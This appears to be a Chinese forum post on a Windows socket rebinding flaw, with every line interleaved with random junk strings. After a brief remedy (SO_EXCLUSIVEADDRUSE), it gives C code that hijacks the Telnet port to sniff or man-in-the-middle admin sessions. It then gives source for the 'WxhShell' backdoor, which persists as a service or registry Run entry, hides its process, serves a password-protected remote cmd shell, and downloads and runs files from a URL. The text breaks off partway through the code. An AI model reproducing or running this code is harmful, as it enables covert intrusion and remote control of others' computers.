在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Zq33R` s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
O+mEE>:w% /
:.I&^>P saddr.sin_family = AF_INET;
;rL>{UhG 1^]IuPxq saddr.sin_addr.s_addr = htonl(INADDR_ANY);
N}/V2K]Q lPz`?Hn bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
=C$"e4%Be pvsY
0a@4 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
L %ac sb} =),ZZD#J 这意味着什么?意味着可以进行如下的攻击:
Y*9vR~#H yq x!{8=V 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
sQ\HIU%]
3-{WFnA 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
b&E"r*i|
M3UC9t9] 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
dCn9]cj/ n\Lsm 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
T] H'l V1Ft3Msq 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
hy#nK:B MA9E??p3\ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
m~=VUhPd B7qi|Fw 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
SD~4CtlfI =@O&$& #include
~b*|V #include
l-r$czY #include
,]JIp~=nsh #include
4#W$5_Ny DWORD WINAPI ClientThread(LPVOID lpParam);
L}Sb0 o. int main()
IN6L2/Q {
q@S\R
7R WORD wVersionRequested;
\5N\NN @J DWORD ret;
bhDqRM WSADATA wsaData;
}t(5n $go6 BOOL val;
;K l'[~z SOCKADDR_IN saddr;
bRFZ:hu l SOCKADDR_IN scaddr;
0 7qjWo/t int err;
|Z>}#R!,P SOCKET s;
)RFY2} SOCKET sc;
%! Sjbh int caddsize;
1M)88& HANDLE mt;
{gEz;:!): DWORD tid;
f[NxqNn wVersionRequested = MAKEWORD( 2, 2 );
G?~Yw'R^8 err = WSAStartup( wVersionRequested, &wsaData );
rUV'DC?eE if ( err != 0 ) {
'"%hX&]5 printf("error!WSAStartup failed!\n");
,,j> 2Ts return -1;
&<&eKq }
{LKW%G7 saddr.sin_family = AF_INET;
g|^U?|;p fi'zk //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
ulg= ,+%r xzx~H>M saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Mf5*Wjz.Mc saddr.sin_port = htons(23);
!6taOT>v if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
oKkDG|IE {
S{XO3 printf("error!socket failed!\n");
'SE5sB
return -1;
;)f,A)(Z }
=mwAbh)[7n val = TRUE;
OS(Ua //SO_REUSEADDR选项就是可以实现端口重绑定的
IWddJb~hu if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
~t*_ {
[ x.] printf("error!setsockopt failed!\n");
uu0t}3l return -1;
6~!7?FK }
UBnHtsM //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
|gk"~D //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
>Wd=+$!I //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
_!Z}HCk /_(l:q^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
B.Z5+MgM {
N#Nc{WU'B ret=GetLastError();
XGnC8Be{4 printf("error!bind failed!\n");
6h[fk.W_ return -1;
Ln h'y`q }
}vF=XA listen(s,2);
vHymSU/J while(1)
2mthUq9b* {
YpSK|( caddsize = sizeof(scaddr);
i#U_g:~wC //接受连接请求
M~saYJio sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
bHs},i6 if(sc!=INVALID_SOCKET)
NU7k2`bqAk {
TDR#'i mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
D0gz
(( if(mt==NULL)
lz#@_F|.* {
Hg(nC*#/Q printf("Thread Creat Failed!\n");
Io7=Mc4 break;
`GooSX }
h&Q-QU }
srU*1jD) CloseHandle(mt);
,UT :wpc^i }
~05(92bK closesocket(s);
8\`otJY WSACleanup();
*U,W4>(B return 0;
S }G3h a }
F
B&l|#e DWORD WINAPI ClientThread(LPVOID lpParam)
0)|;uW {
=\jPnov! SOCKET ss = (SOCKET)lpParam;
Zr!CT5C5 SOCKET sc;
te3\MSv;O unsigned char buf[4096];
!V0)eC50 SOCKADDR_IN saddr;
y[f6J3/ long num;
wqQrby< DWORD val;
A LR`z~1 DWORD ret;
\z-OJ1[F //如果是隐藏端口应用的话,可以在此处加一些判断
R|7_iMIZ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
]<o^Q[OL saddr.sin_family = AF_INET;
d+7Dy3i|g= saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
PrEfJ? saddr.sin_port = htons(23);
sGbk4g if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_7-P8"m {
H#I%6k*\a printf("error!socket failed!\n");
`hl1R3nBM return -1;
Wl>$<D4mO[ }
9>L{K
val = 100;
7/c9azmC if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
\v.YP19 {
.t%`"C ret = GetLastError();
^ G>/;mZ return -1;
=/^{Pn }
FPuF1@K if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
j2!^iGS} {
J*f..:m ret = GetLastError();
LsV?b*^(p return -1;
R%%h=] }
b0Fr]oGp if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
nTXM/ {
:P\RiaZAT printf("error!socket connect failed!\n");
BxXP]od closesocket(sc);
7|7sA'1cM closesocket(ss);
kD4J{\ return -1;
rWzO>v }
X7 fJ+Cn while(1)
2Rs-!G<] {
^Ea^t.c}_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
R)5zHCwOw //如果是嗅探内容的话,可以再此处进行内容分析和记录
P*8DM3': //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
)@.6u9 \ num = recv(ss,buf,4096,0);
UYOR@x # if(num>0)
IqmQQ_KH send(sc,buf,num,0);
,OaPrAt- else if(num==0)
vEb_z[gd break;
\}})U# num = recv(sc,buf,4096,0);
vZ2/>}!Z= if(num>0)
4>8'.8S send(ss,buf,num,0);
tv7A&Z)Rh else if(num==0)
75#&hi/~ break;
j[YO1q* }
P<gr=& closesocket(ss);
%N-f9o8 closesocket(sc);
3%SwCYd return 0 ;
T,Zfz9{n }
ye1hcQ "':u#UdS tm280 ==========================================================
`!iVMTp G~Mxh,aD$> 下边附上一个代码,,WXhSHELL
9"mcN3x:\e LIDYKKDJ^ ==========================================================
hNJubTSE+) FrBJv< #include "stdafx.h"
}CXL\,; VWR6/,N^_ #include <stdio.h>
=M+enSu #include <string.h>
zkRL'-
#include <windows.h>
YF<;s^&@u #include <winsock2.h>
QO%#.s #include <winsvc.h>
~Uw<E:?v #include <urlmon.h>
ZSg["` `(7HFq<N #pragma comment (lib, "Ws2_32.lib")
cu V}<3& #pragma comment (lib, "urlmon.lib")
X$4 5<oz aI0}E O #define MAX_USER 100 // 最大客户端连接数
^(8(z@y #define BUF_SOCK 200 // sock buffer
~%o?J"y #define KEY_BUFF 255 // 输入 buffer
$Sfx0?' B^u qu #define REBOOT 0 // 重启
Ss~dK-{e7 #define SHUTDOWN 1 // 关机
(VzabO `^7ARr/ #define DEF_PORT 5000 // 监听端口
ROB/#Td 4chSo.= 4V #define REG_LEN 16 // 注册表键长度
d;10[8:5= #define SVC_LEN 80 // NT服务名长度
R@)L@M)u; ]ZOzqh_0C // 从dll定义API
`CXAE0Fx typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
E
_DSf typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
SecZ5(+= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
zS##YR typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
+WP =9ISsI\Y6 // wxhshell配置信息
D.\s mk struct WSCFG {
K 6Gri>Um int ws_port; // 监听端口
fhZD[m#D char ws_passstr[REG_LEN]; // 口令
\f7Aj> int ws_autoins; // 安装标记, 1=yes 0=no
3Vj,O?(Z char ws_regname[REG_LEN]; // 注册表键名
M4 :}`p=
char ws_svcname[REG_LEN]; // 服务名
V=,VOw4 char ws_svcdisp[SVC_LEN]; // 服务显示名
u.s-/ g char ws_svcdesc[SVC_LEN]; // 服务描述信息
$zvqjT:> char ws_passmsg[SVC_LEN]; // 密码输入提示信息
^"!j m int ws_downexe; // 下载执行标记, 1=yes 0=no
]M;aVw<! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ywRwi~ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
.(8sa8{N ]7`)|PJ };
-gpF%g`H eQUm!9) // default Wxhshell configuration
*[eh0$ struct WSCFG wscfg={DEF_PORT,
_XqD3?yH4 "xuhuanlingzhe",
)Ekp <2B:0 1,
W 6m
oFn "Wxhshell",
<""
fJ`7 "Wxhshell",
'y?(s+ "WxhShell Service",
'v"{frh "Wrsky Windows CmdShell Service",
G=lket6 "Please Input Your Password: ",
i2EXE0; 1,
xN +j]LC "
http://www.wrsky.com/wxhshell.exe",
dm&vLQVS "Wxhshell.exe"
~#b&UR };
.WR+)^&zz Z+< zKn} // 消息定义模块
k-b0Eogp] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
2vit{ char *msg_ws_prompt="\n\r? for help\n\r#>";
PfI~`ke char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
buRK\C char *msg_ws_ext="\n\rExit.";
6_# >s1`R char *msg_ws_end="\n\rQuit.";
t(|\3$z char *msg_ws_boot="\n\rReboot...";
kR0d]"dr char *msg_ws_poff="\n\rShutdown...";
l 6;}nG char *msg_ws_down="\n\rSave to ";
iJza zQ =2z9Aq{ char *msg_ws_err="\n\rErr!";
P%6-W5< char *msg_ws_ok="\n\rOK!";
il \q{Y
o *k(>Qsb " char ExeFile[MAX_PATH];
>~kSe=Hsb4 int nUser = 0;
_O-ZII~ HANDLE handles[MAX_USER];
uV:;q>XM'% int OsIsNt;
hYS*J908 oD]riA>jC SERVICE_STATUS serviceStatus;
]KS|r+ SERVICE_STATUS_HANDLE hServiceStatusHandle;
S;vE% Z[DiLXHL // 函数声明
; c'9Xyl- int Install(void);
1R1DK$^c int Uninstall(void);
FBYAd@="2 int DownloadFile(char *sURL, SOCKET wsh);
75t\= 6# int Boot(int flag);
tnbtfG;z# void HideProc(void);
lkWID int GetOsVer(void);
|d* K'+ int Wxhshell(SOCKET wsl);
z@nJ-*'U8 void TalkWithClient(void *cs);
pm-SDp>s int CmdShell(SOCKET sock);
Zjz< Q- int StartFromService(void);
EPQ~V int StartWxhshell(LPSTR lpCmdLine);
l%?D%'afN ==[a7|q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
\@6nRs8b|N VOID WINAPI NTServiceHandler( DWORD fdwControl );
(Z
YGfX H}OOkzwrA // 数据结构和表定义
5Mfs)a4j. SERVICE_TABLE_ENTRY DispatchTable[] =
cC_L4 {
D2`tWRm0 {wscfg.ws_svcname, NTServiceMain},
ic}M)S FD; {NULL, NULL}
K0#kW \4` };
asDq(J`sQ 'Jb6CRn // 自我安装
MX%D%}N int Install(void)
S
aCa {
,7mRb-*p char svExeFile[MAX_PATH];
(Yzy;"iAu HKEY key;
&^C<J strcpy(svExeFile,ExeFile);
g7*ii
X l^s\^b=W // 如果是win9x系统,修改注册表设为自启动
qHGXs@*M& if(!OsIsNt) {
y`?{2#1H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Im;8Abf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9{?L3V!+r RegCloseKey(key);
}nDKSC/[V! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
N`tBDl"ld RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
c$)Y$@D RegCloseKey(key);
nDh]: t= return 0;
D:9/;9V }
bqwQi>^Cw }
-S]yXZ }
A4,tv#z else {
8*nl Wl9qo
=v4;t'_^ // 如果是NT以上系统,安装为系统服务
qW57h8M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
mJ=3faM if (schSCManager!=0)
yv:8=.r}M {
<MhjvHg SC_HANDLE schService = CreateService
!c`KzqP (
x/NR_~Rnk schSCManager,
qRg^Bp'VD# wscfg.ws_svcname,
<_HK@E<_HO wscfg.ws_svcdisp,
gO*:<B g SERVICE_ALL_ACCESS,
v$R+5_@[l SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
FhZ^/= As SERVICE_AUTO_START,
i<N[s O SERVICE_ERROR_NORMAL,
_~aFzM svExeFile,
I$K? ,
NULL,
&TqY\l NULL,
$]4>;gTL' NULL,
&UhI1mi]h NULL,
3:Aw.-,i\ NULL
pA(B~9 WQ );
~429sT( if (schService!=0)
<#U9ih
2 {
sh []OSM CloseServiceHandle(schService);
`C~RA,M CloseServiceHandle(schSCManager);
~{,U%B strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
|wASeZMO2 strcat(svExeFile,wscfg.ws_svcname);
MB9tnGO-Q if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
\atztC{-L> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
BlF]-dF\ RegCloseKey(key);
W\s
]qsLS return 0;
{shf\pm!o }
mE3^5}[> }
C9-IJj
CloseServiceHandle(schSCManager);
0f.rjd }
u~#QvA~] }
Y$0Y_fm% yUb$EMo\ return 1;
'j84-U{&) }
,wJ#0? |1GR:b24 // 自我卸载
*B7+rd int Uninstall(void)
u<x2"0f {
2ZMYA=[! HKEY key;
-LF0%G 8+no>%L if(!OsIsNt) {
GE`:bC3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,f`435R RegDeleteValue(key,wscfg.ws_regname);
k r0PL)$ RegCloseKey(key);
#hEN4c[Ex if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+.N3kH RegDeleteValue(key,wscfg.ws_regname);
yvxdl=s RegCloseKey(key);
6Q<^,`/T return 0;
[AzQP!gi }
2c>e Mfa }
8*rd`k1|g }
d\aarhD8* else {
14TA( v]T ^dB~#A1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
6"^Yn.
if (schSCManager!=0)
wB6ILTu1 {
ViV"+b#gu SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
}."3&u't if (schService!=0)
fsU6o4 {
G%
wVQ|1 if(DeleteService(schService)!=0) {
7XKPC+)1ya CloseServiceHandle(schService);
%Z@+K_X9x CloseServiceHandle(schSCManager);
/+\m7IS return 0;
Ha l,%W~e }
mQmn &:R CloseServiceHandle(schService);
!8q+W`{ }
)clSW CloseServiceHandle(schSCManager);
csg:#-gE }
K31G>k@ }
FLI\SF< L,*KgLG return 1;
%liu[6_ }
+Hz});ix< Mq-QWx"P // 从指定url下载文件
8d9&LPv int DownloadFile(char *sURL, SOCKET wsh)
k=,,s(]tx {
/.<tC( HRESULT hr;
0HUSN_3F char seps[]= "/";
%c%0pGn8- char *token;
=[8EQdR char *file;
`Tt}:9/3 char myURL[MAX_PATH];
:'aT4 char myFILE[MAX_PATH];
.Ap-<FB 5~T`R~Uqb strcpy(myURL,sURL);
Fw!wSzsk3 token=strtok(myURL,seps);
Qmxe*@{` while(token!=NULL)
70,V>=aJ {
Dm=t`_DL8 file=token;
ea3;1-b: token=strtok(NULL,seps);
Ad)Po }
9] /xAsD h^klP: Q GetCurrentDirectory(MAX_PATH,myFILE);
a.+2h%b strcat(myFILE, "\\");
|cpBoU strcat(myFILE, file);
2Y_ `& send(wsh,myFILE,strlen(myFILE),0);
)3<|<jwcx send(wsh,"...",3,0);
EL!V\J`S_ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
DA)+)PhY7K if(hr==S_OK)
Q3MG+@) S return 0;
QjH;'OVt else
'N$hbl return 1;
o -tc}Aa ^UP!y!&N }
,L#Qy>MOb [Nb0&:$ay // 系统电源模块
`n%uvo}UT int Boot(int flag)
s(56aE {
tydD~a HANDLE hToken;
GOJ*>GpS TOKEN_PRIVILEGES tkp;
cU8Rm\? (Fq|hgOA>M if(OsIsNt) {
s(*LV2fa OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
L3:dANG LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
1qWIku tkp.PrivilegeCount = 1;
K*;e>{p tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
hn9'M!*:O AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
w~J 7|8Y if(flag==REBOOT) {
;h[p " if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
oh+Q}Fa: return 0;
Z;kRQ }
)1Rn;(j9Re else {
QC7Ceeh]4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
xU$A/!oK return 0;
Wbo{v r[2+ }
ySP1,xq }
rU?sUm,ch else {
/ fBi9=}+ if(flag==REBOOT) {
q{v:T}Q|A if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
D=}UKd return 0;
%H=d_Nm{ }
*,$cW,LN else {
9(?9yFbj5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Cz=HxU80J return 0;
E$5)]<p! < }
Jy&O4g/'5 }
4;anoqiG\ f,:SI&c\ return 1;
D<}z7W- }
>hqev-
noY~fq/U // win9x进程隐藏模块
m~;fklX S void HideProc(void)
tL0<xGI5^ {
nn>1OO b&:>v9U HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
+a$'<GvP if ( hKernel != NULL )
^LfN6{ {
H/8H`9S$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
<CrNDY ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
ACQc
0:q FreeLibrary(hKernel);
mQ 1) d5 }
uC{qaMQ JCoDe. return;
VOc_7q_= }
C!KxY/*Px SMHQo/c r // 获取操作系统版本
MD(?Wh int GetOsVer(void)
[J0f:&7\ {
nY(>|! OSVERSIONINFO winfo;
F?!P7 zW winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
yWI30hW GetVersionEx(&winfo);
!u@XEN>/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
KU,KEtf return 1;
v{%x,K56 else
I9S=VFhZ` return 0;
\Eq,4-q }
up+W[#+ r!H'8O! // 客户端句柄模块
m80e^ int Wxhshell(SOCKET wsl)
G-`4TQ {
X}T/6zk SOCKET wsh;
Hc?8Q\O: struct sockaddr_in client;
h`O"]2 DWORD myID;
Z05kn{<a8 <9zzjgzG{c while(nUser<MAX_USER)
A*d Pw. {
}j=UO*| int nSize=sizeof(client);
&)UZ9r`z wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
oNW.-gNT if(wsh==INVALID_SOCKET) return 1;
uSnG= tB !|!k9~v! handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
^PwZP;On if(handles[nUser]==0)
#_]/Mr1 closesocket(wsh);
'@4Myg* b else
Hh^EMQk nUser++;
q18IqY*Lo }
W?y7mw_S WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
wOW#A}m'vj `SDpOqfIrP return 0;
a]0B{ }
@.IGOh w>-@h>Ln // 关闭 socket
[ .]x y void CloseIt(SOCKET wsh)
5%H(AaG*q {
!,D7L6N closesocket(wsh);
a%\6L nUser--;
% zP]z ExitThread(0);
,4kly_$BH }
Q-A:0F&{t pib i# // 客户端请求句柄
L{;Sc_ void TalkWithClient(void *cs)
_=,\uIrk {
,1xX`: Po(Y',xI[ SOCKET wsh=(SOCKET)cs;
ug?gVK char pwd[SVC_LEN];
M:: char cmd[KEY_BUFF];
kV>[$6 char chr[1];
X`-7: !+ int i,j;
MNC=r? QaAA@l while (nUser < MAX_USER) {
0r<?Ve 4:umD*d 3E if(wscfg.ws_passstr) {
^\<nOzU? if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\X3Q,\H
@ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
JONfNb+ //ZeroMemory(pwd,KEY_BUFF);
a1^CpeG~ i=0;
h%4aL38 while(i<SVC_LEN) {
\!O3]k,r UA>3,|gV1 // 设置超时
i}&&rr fd_set FdRead;
P{T\zT struct timeval TimeOut;
}kJfTsFS FD_ZERO(&FdRead);
|nOqy&B FD_SET(wsh,&FdRead);
;Dh\2! sr TimeOut.tv_sec=8;
.AB n$ml] TimeOut.tv_usec=0;
l=|>9,La int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
}%8 :8_Ke if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
%}.4c8 Iax-~{B3AY if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
`'W/uCpl pwd
=chr[0]; [z:.52@!
if(chr[0]==0xd || chr[0]==0xa) { dh9Qo4-{
pwd=0; VtP^fM^{
break; .[8!
E_
} Ux[2 +Cf
i++; KjWF;VN*[3
} ,=_)tX^
e>$d*~mwn
// 如果是非法用户,关闭 socket Y"{L&H `
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Bb[WtT}=
} @euH[<
K#"J8h;x
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uez"{ _I
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b]0]*<~y
LDDgg
u
while(1) { >m$jJlAv8
/Dd.C<F
ZeroMemory(cmd,KEY_BUFF); W8blHw"
`}r)0,Z}3
// 自动支持客户端 telnet标准 xL&evG#
j=0; LiG!xs
while(j<KEY_BUFF) { pwF+ZNo
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^_4e^D]P"
cmd[j]=chr[0]; m&PfZ%'[
if(chr[0]==0xa || chr[0]==0xd) { MZ2/ks
cmd[j]=0; kC,=E9)O
break; 8=K%7:b
} C33BP}c]
j++; hQeGr2gMq
} xNrPj8V<Y
vU,V[1^a
// 下载文件 &6feR#~A
if(strstr(cmd,"http://")) { bUzo> fm_
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,59G6o
if(DownloadFile(cmd,wsh)) tG7F!um(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `w6*(t:T
else (HEi;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3 as~yF0
} opXxtYC@
else {
P,Z
K
%K`th&331
switch(cmd[0]) { bIWSNNV0F
!"g2F}n
// 帮助 JRw<v4pZ
case '?': { Ao )\/AR'
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QkFB\v
break; aZ,j1j0p
} -lY,lC>{
// 安装 q"48U.}T
case 'i': { l`bl^~xRo
if(Install()) %jE0Z4\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !+k);;.+
else /Hs\`Kg"!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I[6ft_*
break; 8aqH;|fG}
} K/YXLR +
// 卸载 +C}s"qrb@
case 'r': { 9xN`
if(Uninstall()) `@<~VWe5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dc dVB>D
else &gg Om
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lt{D f~c
break; \wKnX]xGf
} $$
9!4
// 显示 wxhshell 所在路径 p
uZY4}b_
case 'p': { "X(9.6$_
char svExeFile[MAX_PATH]; <Fi*wV
strcpy(svExeFile,"\n\r"); tCR#TW+IY-
strcat(svExeFile,ExeFile); MpVZL29)
send(wsh,svExeFile,strlen(svExeFile),0); b$eN]L
break; 43}uW,P
} ~} 02q5H
// 重启 !C& ^%a
case 'b': { `t>A~.f
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HdR TdV
if(Boot(REBOOT)) >1qum'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8DuD1hZq
else { HEk{!Y
closesocket(wsh); ,rNv}
ExitThread(0); Ihd{tmr<
} o(gV;>I
break; M9QYYo@
} YfstE3BV
// 关机
a)8;P7
case 'd': { 0<XxR6w
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <74r
if(Boot(SHUTDOWN)) V}MRdt7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qp;FVUw9
else { ;0 4< 9i
closesocket(wsh); "$n ff=]
ExitThread(0); =D`:2k~
,
} U+Vb#U7;
break; >|pN4FS
} a0jzt!ci
// 获取shell #Ibpf ,
case 's': { Gn %"B6
CmdShell(wsh); Zg4kO;r08
closesocket(wsh); $!vK#8-&{
ExitThread(0); z?Cez*.h>
break; ;LC?3.
} (@Kc(>(: Y
// 退出 (j-_iOQ]i+
case 'x': { 6IJH%qUx'
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ie[DTy
CloseIt(wsh); 3ESrd"W=
break; I_Omv{&u
} 3=("vR`!
// 离开 6@;sOiN+
case 'q': { i~LY
send(wsh,msg_ws_end,strlen(msg_ws_end),0); A!v:W6yiz
closesocket(wsh); e0M'\'J
WSACleanup(); wg4Ol*y'
exit(1); G+t=+T2m
break;
T|2v1Vj
} FEi@MJJ\e
} "vfpG7CG
} ]wUH*\(y
s~m]>^?8MR
// 提示信息 '?$R YU,
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C;%1XFzM
} T930tX6"h
} %us#p|Ya
8<{i=V*x4
return; \cdns;
} WIN3*z7oW
as(Zb*PdH
// shell模块句柄 ><qA+/4]_
int CmdShell(SOCKET sock) )XDbg>
{ |zJ2ZE|
STARTUPINFO si; B dP+>Ij
ZeroMemory(&si,sizeof(si)); ')TS'p,n
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (K('@W%\?
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /z)Nz2W
PROCESS_INFORMATION ProcessInfo; Ab8Ke|fA
char cmdline[]="cmd"; GHO6$iM)[
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <cFj-Ys(T
return 0; M6j~`KSE
} z<_a4ffR
8v)iOPmDC
// 自身启动模式 7#7AK}
int StartFromService(void) &@ ${@
{ =&)R2pLs*
typedef struct 7M~/[f7Z{
{ pM~-o?
DWORD ExitStatus; PU4-}!K
DWORD PebBaseAddress; LKA/s ~G
